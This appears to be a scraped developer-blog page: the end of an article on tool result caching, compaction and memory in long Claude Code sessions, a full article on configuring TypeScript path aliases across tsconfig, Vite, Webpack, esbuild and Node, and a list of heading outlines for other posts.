Tool result caching, conversation compaction, and memory tools serve distinct purposes but combine to create the most efficient long-session workflow. Caching eliminates redundant tool calls. Compaction reduces conversation size by removing old messages. Memory tools persist structured facts across sessions. Teams that deploy all three see 60-70% token reduction compared to naive long sessions.

The interaction pattern is specific. Tool result caching prevents the same file from being read multiple times within a session. Compaction removes the conversation history of those reads after they are no longer relevant, freeing context window space. Memory tools extract key facts from those reads—like "the project uses TypeScript 5.3"—and store them outside the conversation so future sessions can access them without re-reading the entire tsconfig.json.

The distinction is critical: caching optimizes repeated reads within one session, compaction optimizes conversation size within one session, and memory optimizes knowledge transfer across sessions. A session that uses only caching still accumulates conversation bloat. A session that uses only compaction still burns tokens on repeated file reads. A session that uses only memory still lacks within-session efficiency.

The practical workflow combines all three:

Enable tool result caching by default for all file reads and deterministic shell commands.
Run /compact every 100-150 messages to remove stale conversation history.
Use the memory tool to persist structured facts about the codebase, project configuration, and discovered patterns.
At the start of each new session, load memory tool facts instead of re-reading foundational files.

This approach reduces a typical three-hour refactoring session from 800,000 input tokens to 300,000 tokens—a 62% reduction. The gains come from multiple sources: caching eliminates 40% of redundant reads, compaction eliminates 15% of stale conversation, and memory eliminates 7% of cross-session re-discovery. The remaining token cost represents the irreducible minimum: the actual work the agent performs.

The failure mode is treating these tools as interchangeable. Developers who run /compact but do not enable caching still burn tokens on repeated reads. Developers who cache but do not compact run out of context window space. Developers who use memory but do not cache or compact see no within-session gains. The tools are complementary, not substitutes.

Real-World Performance: Token Savings Across Multi-Hour Coding Sessions

Production data from teams running multi-hour Claude Code sessions shows consistent token savings when tool result caching is enabled. A typical session without caching consumes 800,000-1,200,000 input tokens over three hours. The same session with caching consumes 400,000-600,000 tokens—a 50% reduction. The delta comes almost entirely from eliminated redundant file reads.

The distribution is non-linear. The first hour of a session consumes the most tokens because the agent is exploring the codebase and reading foundational files for the first time. The second hour consumes fewer tokens because most files are now cached. The third hour consumes even fewer because the agent has internalized the codebase structure and rarely needs new files.

The pattern breaks when the codebase changes frequently. A session where the agent writes to ten files per hour invalidates cache entries at a rate that defeats the optimization. Each write invalidates the corresponding read cache, so subsequent reads burn full execution tokens. In rapidly evolving codebases, tool result caching provides only 20-30% savings instead of 50%.

The diagnostic is straightforward: export token usage metrics by hour and calculate the ratio of input tokens consumed in hour three versus hour one. A 2:1 ratio signals effective caching. A 1:1 ratio signals excessive cache invalidation or non-cacheable tool calls. Teams that see 1:1 ratios should audit their file write patterns and shell command usage to identify where caching is being defeated.

The real-world implication is that caching provides the greatest benefit in read-heavy workflows: code review, refactoring, documentation generation, and bug investigation. It provides minimal benefit in write-heavy workflows: scaffolding new features, migrating APIs, and restructuring modules. Teams should structure their agent sessions to match the caching profile: batch writes at the end of a task rather than interleaving them with reads.

When Tool Result Caching Breaks: Cache Invalidation Patterns and Pitfalls

Cache invalidation in Claude Code follows simple rules but produces subtle failure modes when developers do not account for implicit state changes. The primary invalidation trigger is a file write: when the agent writes to /src/config.ts, the API invalidates the cached read result for that file. The next read executes fresh and produces a new cache entry. This works correctly for explicit writes but fails silently for external writes.

The failure mode is external writes: if a developer modifies package.json in their editor while Claude is running, the API does not detect the change and continues serving the stale cached version. The agent operates on outdated file content until the cache expires at session end. This produces incorrect behavior: the agent adds a dependency that already exists, removes a script that has already been removed, or references a configuration field that has been deleted.

Shell command caching has no automatic invalidation at all. Running npm list --depth=0 caches the dependency tree, but if a developer installs a new package externally, the cache remains stale. The next npm list call returns the old tree. The agent makes decisions based on outdated information. The failure is silent—no error, no warning, just incorrect recommendations.

The mitigation strategies are defensive:

Avoid external writes during active agent sessions. Let the agent own the codebase for the session duration.
For shell commands that reflect system state, add a timestamp parameter to force cache misses: npm list --depth=0 # ${Date.now()}.
Run /refresh or an equivalent command to invalidate all caches when resuming a paused session.
Structure sessions to minimize interleaved reads and writes—batch reads at the start, writes at the end.

The timestamp trick is ugly but effective. The API computes the cache key from the full command string, so appending a comment with a changing timestamp produces a unique key on every call. The command executes fresh and the token cost reflects it, but the agent gets accurate results instead of stale data.

The deeper issue is that tool result caching assumes a stable environment. In practice, developers iterate in their editors, run commands in terminals, and modify files outside the agent's visibility. The API cannot detect these changes without filesystem watches or polling, which would introduce latency and complexity. The responsibility falls on developers to structure their workflows to match the caching model.

The implication here is that tool result caching is most reliable in isolated environments: CI pipelines, sandboxed containers, and single-user sessions where the agent is the sole writer. It becomes progressively less reliable in shared environments, live development sessions, and workflows where multiple processes modify the same files concurrently.

Frequently Asked Questions

Does tool result caching work with the `/compact` command?

Yes. Compaction removes old messages from the conversation but does not affect the tool result cache. Cached results persist even after their original conversation context has been compacted. The cache key is based on the tool call, not the conversation history.

How long does a cached tool result remain valid?

Cached results persist for the entire session lifetime, which is typically 8-12 hours or until the client explicitly ends the session. File write operations invalidate specific cache entries immediately, but shell command caches have no automatic expiration.

Can I manually invalidate a specific cache entry?

No. The API does not expose a manual invalidation endpoint. The only way to force a fresh tool call is to modify a parameter—for example, adding a timestamp comment to a shell command—or to end the session and start a new one.

Does caching apply to tool calls in subagent sessions?

No. Each subagent runs in its own session with its own cache. Tool results cached in the parent session do not transfer to the subagent, and vice versa. This is a deliberate isolation boundary to prevent cache pollution across different contexts.

What happens if a cached file is deleted externally?

The API returns the cached content as if the file still exists. The agent operates on stale data until the cache expires. The mitigation is to avoid external deletes during active sessions or to restart the session after filesystem changes.

Conclusion: Building Cache-Aware Agents That Scale Beyond One-Shot Tasks

Tool result caching transforms how developers structure long Claude Code sessions. The agents that benefit most are those operating on stable codebases with predictable file access patterns: refactoring existing modules, reviewing pull requests, generating documentation, and investigating bugs. These workflows read the same files dozens of times and execute the same shell commands repeatedly. Caching eliminates 40-60% of that redundancy without sacrificing correctness.

The agents that struggle are those in write-heavy or rapidly evolving environments where cache invalidation happens faster than cache hits accumulate. Teams working in these contexts should focus on conversation compaction and memory tools instead of relying on caching for performance gains.

The practical takeaway is to audit your session transcripts. Identify repeated tool calls with identical parameters. Calculate the token delta between first and subsequent calls. If the delta is 20x or greater, caching is working. If the delta is 1x, investigate why: are the parameters changing? Are writes invalidating the cache? Are the commands non-deterministic? Fix the root cause and the token savings will follow immediately.

That covers the essential patterns for tool result caching in Claude Code. Apply these in production and the difference will be immediate: faster sessions, lower token costs, and agents that scale to multi-hour workflows without burning your API budget.

TypeScript Path Aliases in 2026: `tsconfig` Paths, Bundler Resolution, and Why They Still Break at Runtime

jsmanifest — Wed, 26 Aug 2026 05:37:01 +0000

TypeScript Path Aliases in 2026: tsconfig Paths, Bundler Resolution, and Why They Still Break at Runtime

Most TypeScript path alias problems stem from a fundamental misconception: developers configure tsconfig.json paths, see their editor resolve imports correctly, and assume the work is done. Then production crashes because Node.js has no idea what @/components/Button means. The TypeScript compiler never emits path-rewritten JavaScript—it only validates types using those aliases. Every runtime tool needs its own resolution configuration, and most projects ship with exactly zero of them.

The pattern teams overlook is this: path aliases are a compile-time abstraction that exists solely in TypeScript's type-checking phase. When tsc outputs JavaScript, those @/ imports stay verbatim in the emitted code. The assumption that one paths object in tsconfig.json will propagate to Vite, Webpack, esbuild, Node.js, and Jest is the reason deployments fail silently until a dynamic import executes in staging.

The correct approach requires treating path aliases as a cross-tool contract. TypeScript validates types, bundlers transform imports for browsers, and Node.js resolves modules at runtime. Each tool interprets the same logical alias through its own resolution mechanism. Configure all three, or ship broken imports.

This post covers the mechanics of TypeScript path resolution, the bundler configurations that actually work in 2026, and the production patterns that prevent runtime failures. Apply these and the "works on my machine" aliasing problem disappears.

Key Takeaways

TypeScript's paths in tsconfig.json affect ONLY type-checking and editor autocomplete—emitted JavaScript retains literal alias imports that crash at runtime without bundler or loader configuration.
Every tool in the build chain (Vite, Webpack, esbuild, Node.js, Jest) requires its own alias resolution setup; a single tsconfig.json never suffices for production.
Post-compilation rewriting with tsc-alias works but adds build steps; runtime loaders (tsx, ts-node/esm) avoid file transformation but require consistent tooling across environments.
Standardize on one alias prefix (@/ for application code, ~/ for workspace roots) and map it to a single source directory to prevent ambiguous overlapping patterns that break in bundlers with first-match semantics.

How TypeScript Path Aliases Actually Work (and What They Don't Do)

TypeScript's path alias system exists as a convenience layer in the type-checker. When developers write import { Button } from '@/components/Button', the compiler consults the paths mapping in tsconfig.json to locate the corresponding .ts file for type validation. This mechanism affects two things: editor IntelliSense and the type-checking pass. It affects zero things about JavaScript output.

The tsc compiler emits JavaScript with the exact import specifier the developer wrote. If the source reads '@/components/Button', the output JavaScript will contain '@/components/Button'. TypeScript does not rewrite import paths to relative or absolute forms. The assumption that paths triggers automatic resolution transformations is the first failure mode.

This distinction is critical. TypeScript provides type safety during development but delegates module resolution to the JavaScript runtime or bundler. A project that compiles successfully with tsc --noEmit can still crash instantly when Node.js executes the output, because Node's resolver has no knowledge of TypeScript's paths configuration.

The implication here is that path aliases introduce a coordination problem. Every tool that processes the codebase—whether at compile time, bundle time, or runtime—must understand the same alias-to-path mapping. The TypeScript compiler's validation is necessary but insufficient for working software.

Configuring tsconfig.json Paths: The Foundation

The paths object in tsconfig.json establishes the canonical mapping that all other tools should mirror. The configuration accepts glob patterns and supports wildcard matches, but pragmatic teams stick to exact prefix mappings with trailing slashes.

// tsconfig.json
{
  "compilerOptions": {
    "baseUrl": ".",
    "paths": {
      "@/*": ["src/*"],
      "@components/*": ["src/components/*"],
      "@lib/*": ["src/lib/*"]
    }
  }
}

The baseUrl field sets the root for relative path resolution. Without it, TypeScript interprets paths entries as invalid. The @/* wildcard pattern maps any import starting with @/ to the corresponding path under src/. The specialized @components/* and @lib/* aliases provide shorter notation for frequently accessed directories.

This setup works for editor autocomplete and type-checking. Developers see green squiggles disappear and assume the problem is solved. The failure mode emerges when they run the compiled JavaScript directly with Node.js or deploy a server-side build. Node's module resolver follows the ECMAScript specification, which knows nothing about @ prefixes. The import fails immediately.

Teams often add a * catch-all pattern as a last-resort fallback. This pattern creates more problems than it solves because it makes every unresolved import potentially valid, masking typos and incorrect specifiers during development. When an import should fail, it silently resolves to an unexpected file, and the error surfaces hours later in a failing test. Avoid catch-all wildcards.

The other common mistake is overlapping patterns. Configuring both @lib/* and @/* where @lib/* maps to src/lib/* and @/* maps to src/* creates ambiguity. Some bundlers and loaders use first-match semantics, others use longest-prefix-match. The behavior diverges across tools, and imports that resolve correctly in Vite fail in Jest. Use non-overlapping prefixes or commit to a single canonical alias per directory tree.

The Runtime Gap: Why Every Bundler Needs Its Own Configuration

TypeScript's paths configuration lives in the type system. Bundlers operate on JavaScript module graphs. These are separate concerns that happen to use similar syntax but have no automatic synchronization mechanism. The gap between them is where runtime failures occur.

When Vite encounters import { Button } from '@/components/Button' in a source file, it invokes its own module resolution algorithm. By default, that algorithm checks node_modules, relative paths, and package exports. It does not parse tsconfig.json. The import fails unless Vite has an explicit alias configuration that mirrors the TypeScript setup.

The same disconnect affects Webpack, esbuild, Rollup, and every other bundling tool. Each has a different configuration syntax for alias resolution. Webpack uses resolve.alias, esbuild uses a plugin, and Vite uses resolve.alias but with different path handling than Webpack. Developers who copy-paste a Webpack alias config into a Vite project often see builds succeed locally but fail in CI where paths differ.

Node.js itself has no native path alias support. The --experimental-loader flag in recent versions allows custom resolution hooks, but this is an opt-in feature that requires shipping a loader script with the application. For server-side TypeScript projects deployed to Node, the standard practice is either to use a runtime transpiler like tsx that understands tsconfig.json paths, or to rewrite imports during a build step with a tool like tsc-alias.

The failure mode here is subtle but expensive. A frontend project might work perfectly in development with Vite's alias resolution, but when the same codebase gets reused for a server-side rendering entry point running in Node, every @/ import crashes because Node lacks the configuration. The team adds tsx to start scripts, but then CI runs raw Node and the deployment fails. This cycle repeats until every execution environment—dev, test, build, deploy—has explicit alias handling.

Bundler-Specific Solutions: Vite, Webpack, esbuild, and Node.js

Each bundler provides its own alias resolution API. The syntax differs but the principle is identical: map a prefix to a filesystem path before the resolver checks node_modules. The configuration must exactly match the TypeScript paths mapping to avoid drift.

Vite uses resolve.alias in vite.config.ts. The value can be an object or an array of { find, replacement } entries. For glob patterns, use the array form.

// vite.config.ts
import { defineConfig } from 'vite';
import path from 'path';

export default defineConfig({
  resolve: {
    alias: {
      '@': path.resolve(__dirname, './src'),
      '@components': path.resolve(__dirname, './src/components'),
      '@lib': path.resolve(__dirname, './src/lib'),
    },
  },
});

Webpack uses resolve.alias in webpack.config.js. The trailing $ in the key makes the alias exact-match, but for directory mappings, omit it.

// webpack.config.js
const path = require('path');

module.exports = {
  resolve: {
    alias: {
      '@': path.resolve(__dirname, 'src'),
      '@components': path.resolve(__dirname, 'src/components'),
      '@lib': path.resolve(__dirname, 'src/lib'),
    },
  },
};

esbuild requires a plugin for path alias support because its core API has no built-in alias resolution. The esbuild-plugin-alias package provides the functionality.

// build.mjs
import esbuild from 'esbuild';
import alias from 'esbuild-plugin-alias';
import path from 'path';

esbuild.build({
  entryPoints: ['src/index.ts'],
  bundle: true,
  outdir: 'dist',
  plugins: [
    alias({
      '@': path.resolve('./src'),
      '@components': path.resolve('./src/components'),
      '@lib': path.resolve('./src/lib'),
    }),
  ],
});

Node.js with tsx or ts-node reads tsconfig.json paths automatically. No additional configuration is needed if the paths object is correctly defined. For production deployments that run compiled JavaScript without a TypeScript runtime, use tsc-alias as a post-compilation step or set up a custom loader.

The pattern here is duplication. The same alias mapping exists in tsconfig.json for TypeScript, in vite.config.ts for Vite, and potentially in a Jest config for testing. When a new alias is added, developers must update all three files. The synchronization burden is manual and error-prone. Teams that skip one configuration file inevitably discover the gap during a deployment or in a flaky test suite.

Post-Compilation Approaches: tsc-alias vs Runtime Resolution

Two strategies handle path aliases in compiled rewriting imports during the build or resolving them at runtime. Each approach has tradeoffs that affect deployment complexity and debugging clarity.

tsc-alias is a post-compilation tool that rewrites alias imports to relative paths after tsc emits JavaScript. The workflow is: compile TypeScript with tsc, then run tsc-alias to transform the output. This produces plain JavaScript with no special loaders required at runtime.

The advantage of tsc-alias is portability. The output JavaScript runs in any Node environment without flags or custom loaders. The disadvantage is the extra build step. Every compilation requires two commands, and source maps can become stale if the rewriting logic changes file paths unexpectedly. Debugging a rewritten import that resolves to the wrong file is harder than debugging a runtime resolution failure that points to the original source line.

Runtime resolution with tsx or ts-node/esm keeps the original TypeScript files with alias imports intact and resolves them during execution. The loader reads tsconfig.json paths and transforms imports on the fly. This approach eliminates the build step but requires every environment—dev, test, production—to use the same loader.

The failure mode here is environment drift. Developers run tsx src/index.ts locally, tests run with jest configured to use ts-jest, and production deploys a Docker image running node dist/index.js after a tsc build. The aliases work in dev and test but crash in production because no loader is present. The team either adds tsx to the production start script (reintroducing runtime transpilation overhead) or rewrites the production build to use tsc-alias.

The choice depends on deployment constraints. For serverless functions with cold-start sensitivity, pre-rewriting imports with tsc-alias avoids the transpilation cost on every invocation. For long-running Node processes where startup time is irrelevant, runtime resolution simplifies the build pipeline. There is no universal right answer, but consistency across environments is non-negotiable.

Production Patterns: What Actually Works at Scale

The production pattern that eliminates alias-related failures is dual configuration with validation. Configure path aliases in both tsconfig.json and the bundler, then add a pre-commit hook that verifies the two stay synchronized.

The validation script reads both configurations and asserts they define identical alias-to-path mappings. This prevents the common scenario where a developer adds @hooks/* to tsconfig.json but forgets to update vite.config.ts, causing imports to work locally but fail in the production build.

A more robust approach uses a shared configuration file that both TypeScript and the bundler import. Define aliases once in a paths.config.js file, then consume it in tsconfig.json via a build script that generates the final config, and import it directly in the bundler.

// paths.config.js
const path = require('path');

const aliases = {
  '@': './src',
  '@components': './src/components',
  '@lib': './src/lib',
};

// For bundler use
exports.resolveAliases = Object.fromEntries(
  Object.entries(aliases).map(([key, value]) => [
    key,
    path.resolve(__dirname, value),
  ])
);

// For tsconfig.json generation
exports.tsconfigPaths = Object.fromEntries(
  Object.entries(aliases).map(([key, value]) => [`${key}/*`, [`${value}/*`]])
);

This eliminates duplication but introduces a build-time dependency. The tsconfig.json file is no longer hand-editable JSON—it must be generated from the shared source. For teams already using complex build pipelines, this tradeoff is acceptable. For smaller projects, the validation script approach is simpler.

The other production requirement is consistent alias naming conventions. Use @/ for application source code and reserve ~/ for workspace-root paths in monorepos. Do not mix both styles in the same project. Do not use abbreviations like @c/ for components—clarity beats brevity when onboarding new engineers or debugging imports six months later.

Finally, avoid deep alias hierarchies. Configuring @components/atoms/*, @components/molecules/*, and @components/organisms/* as separate aliases creates maintenance overhead with no benefit. A single @components/* alias with subdirectory imports is sufficient and reduces the configuration surface area.

Frequently Asked Questions

Why do path aliases work in VSCode but fail when I run the built code?

VSCode uses the TypeScript language server, which reads tsconfig.json paths for IntelliSense and type-checking. The compiled JavaScript output retains literal alias imports that Node.js cannot resolve without a loader or bundler configuration. Configure your runtime tool to match the tsconfig.json aliases.

Should I use tsc-alias or a runtime loader like tsx for production?

Use tsc-alias if you need portable JavaScript output that runs in any Node environment without extra flags. Use tsx or similar loaders if you control the deployment environment and want to skip the rewriting build step. The choice depends on deployment constraints, not code quality.

Can I use the same path aliases across a monorepo with multiple packages?

Yes, but define aliases at the workspace root in a shared tsconfig.base.json and extend it in each package's tsconfig.json. Configure each package's bundler separately to resolve aliases relative to that package's root. Avoid aliasing across package boundaries—use workspace protocol imports instead.

What happens if I configure tsconfig.json paths but forget to update my bundler config?

The code will type-check and build successfully, but runtime imports will fail with "module not found" errors. This breaks production deployments and is the most common alias misconfiguration. Use a validation script or shared config file to prevent drift between tsconfig.json and bundler settings.

Are there performance costs to using path aliases?

TypeScript's type-checking with aliases has negligible overhead. Bundlers resolve aliases during the graph-building phase with the same cost as normal imports. Runtime loaders like tsx add transpilation overhead on every module load, but this is unrelated to aliases specifically—it affects all TypeScript execution.

Path Alias Conventions and Migration Strategy

Path aliases solve import sprawl, but only when configured correctly across every tool in the build chain. The pattern that works at scale is: define aliases once in tsconfig.json, mirror them exactly in every bundler and test runner, and validate synchronization with automated checks. Teams that skip bundler configuration or assume TypeScript's paths propagate to runtime tools ship broken deployments.

The migration strategy for existing projects is incremental. Add one alias, configure it in all tools, deploy successfully, then add the next. Do not bulk-migrate dozens of imports at once—every alias introduces a new failure point until its bundler config is verified in production. Start with high-traffic directories like @components or @lib, validate the resolver behavior in CI, then expand coverage.

That covers the essential patterns for TypeScript path aliases in 2026. Configure TypeScript, configure your bundler, configure your runtime, verify they match, and the "works on my machine" aliasing problem disappears. Apply these in production and the difference will be immediate.

DEV Community: jsmanifest

Claude Code Session Compaction in 2026: How Context Summarization Works and What Your Agent Forgets

Claude Code Session Compaction in 2026: How Context Summarization Works and What Your Agent Forgets

Key Takeaways

How Context Summarization Actually Works Under the Hood

What Your Agent Forgets During Compaction (And What Survives)

Reading Compaction Events: Debugging What Got Summarized Away

Designing Session State That Survives Compaction

Manual Compaction vs Auto-Compaction: When to Force a Summary

Token Discipline: Preventing Compaction Before It Happens

Frequently Asked Questions

Does manual compaction improve summary quality over auto-compaction?

Can the agent detect when it has lost context during compaction?

How do artifacts interact with the context window limit?

What happens when a session exhausts the context window even after compaction?

Is there a way to preserve the entire conversation history without compaction?

Building Compaction-Aware Agents That Don't Lose Critical Context

Claude Code Headless Mode in 2026: Scripting Autonomous Coding Tasks Without the Interactive Shell

Claude Code Headless Mode in 2026: Scripting Autonomous Coding Tasks Without the Interactive Shell

Key Takeaways

Understanding the -p Flag and Non-Interactive Execution

Scheduling Claude Code Agents with Cron and CI/CD Pipelines

Output Formats: Plain Text, JSON, and Streaming for Programmatic Parsing

Session Persistence Control: --no-session-persistence and When to Use It

Building Multi-Agent Workflows: Parallel Headless Sessions in TypeScript

Headless Mode vs Interactive Shell: Performance and Use Case Comparison

Production Patterns: Error Handling, Retries, and Logging in Autonomous Tasks

Frequently Asked Questions

What happens to session data when using --no-session-persistence?

Can headless mode run tasks that require file system access outside the repository?

How do you handle prompts longer than shell command-line limits?

Does headless execution support the same tool integrations as interactive mode?

What is the performance impact of running ten parallel headless agents versus sequential execution?

TypeScript 6.0 `--strictBuiltinIteratorReturn`: What Changes When Iterators Finally Have Correct Return Types

TypeScript 6.0 --strictBuiltinIteratorReturn: What Changes When Iterators Finally Have Correct Return Types

Key Takeaways

Understanding BuiltinIteratorReturn and Why It Defaulted to any

How --strictBuiltinIteratorReturn Changes Iterator Type Inference

Real-World Code That Breaks When You Enable This Flag

Comparing Iterator vs Iterator in Practice

Migration Strategy: Fixing Iterator-Based Code for TypeScript 6.0

When to Explicitly Opt Out of strictBuiltinIteratorReturn

Frequently Asked Questions

Does enabling strictBuiltinIteratorReturn break for-of loops?

Can I enable this flag without enabling all of strict mode?

Why did TypeScript wait until 6.0 to make this change?

What happens to generators that return void?

Do I need to update third-party iterator libraries?

Conclusion: Why This Flag Matters for Long-Term Type Safety

React Context in 2026: When It Still Beats Zustand and When It Quietly Destroys Performance

React Context in 2026: When It Still Beats Zustand and When It Quietly Destroys Performance

Key Takeaways

What Context Actually Is (and What It Isn't)

The Re-Render Problem: Why Context Quietly Destroys Performance

When Context Still Beats Zustand in 2026

The Selective Subscription Problem Zustand Solves

Real-World Decision Tree: Context vs Zustand

Hybrid Pattern: Using Both Context and Zustand Together

Frequently Asked Questions

When should developers split a Zustand store into multiple stores?

Does Context API cause performance problems in server components?

Can Zustand replace Redux in large production apps?

How do developers debug Zustand stores in production?

What happens when multiple components call the same Zustand selector?

Conclusion: Pick the Right Tool for the Right Problem

React `startTransition` Without `useTransition`: The Standalone API Teams Keep Overlooking in Concurrent Mode

React startTransition Without useTransition: The Standalone API Teams Keep Overlooking in Concurrent Mode

Key Takeaways

Understanding startTransition vs useTransition

When to Reach for the Standalone API

Using startTransition Outside Components

Third-Party Store Integration Patterns

Event Handlers in Non-React Code

Performance Trade-offs Without isPending

Frequently Asked Questions

Can startTransition be called inside a React component?

Does startTransition batch multiple state updates like React.startTransition in class components?

What happens if startTransition is called during a transition that is already running?

Can the standalone startTransition be used with React Server Components?

How does startTransition interact with Suspense boundaries?

Understanding the `-p` Flag and Non-Interactive Execution

Session Persistence Control: `--no-session-persistence` and When to Use It

What happens to session data when using `--no-session-persistence`?

TypeScript 6.0 `--strictBuiltinIteratorReturn`: What Changes When Iterators Finally Have Correct Return Types

Understanding BuiltinIteratorReturn and Why It Defaulted to `any`

How `--strictBuiltinIteratorReturn` Changes Iterator Type Inference

React `startTransition` Without `useTransition`: The Standalone API Teams Keep Overlooking in Concurrent Mode

Claude Code Permission Modes in 2026: What `--allowedTools`, Whitelists, and Sandbox Boundaries Actually Restrict

What happens if `allowedTools` includes `run_command` but the sandbox is disabled?

Does Custom mode with an empty `allowedTools` array provide complete protection?

What is the difference between denying a tool in `denyTools` and omitting it from `allowedTools`?

TypeScript Access Modifiers in 2026: Why `private` Fields Beat `#` and When the Opposite Is True

Understanding TypeScript's `private` Modifier: Compile-Time Only

ECMAScript Private Fields (`#`): Runtime-Enforced Hard Privacy

Can I mix `private` modifiers and `#` fields in the same class?

Do `#` fields work in older JavaScript environments like IE11?

What happens to `#` fields during JSON serialization?

Can subclasses access parent class `#` fields?

Should I migrate existing codebases from `private` to `#` fields?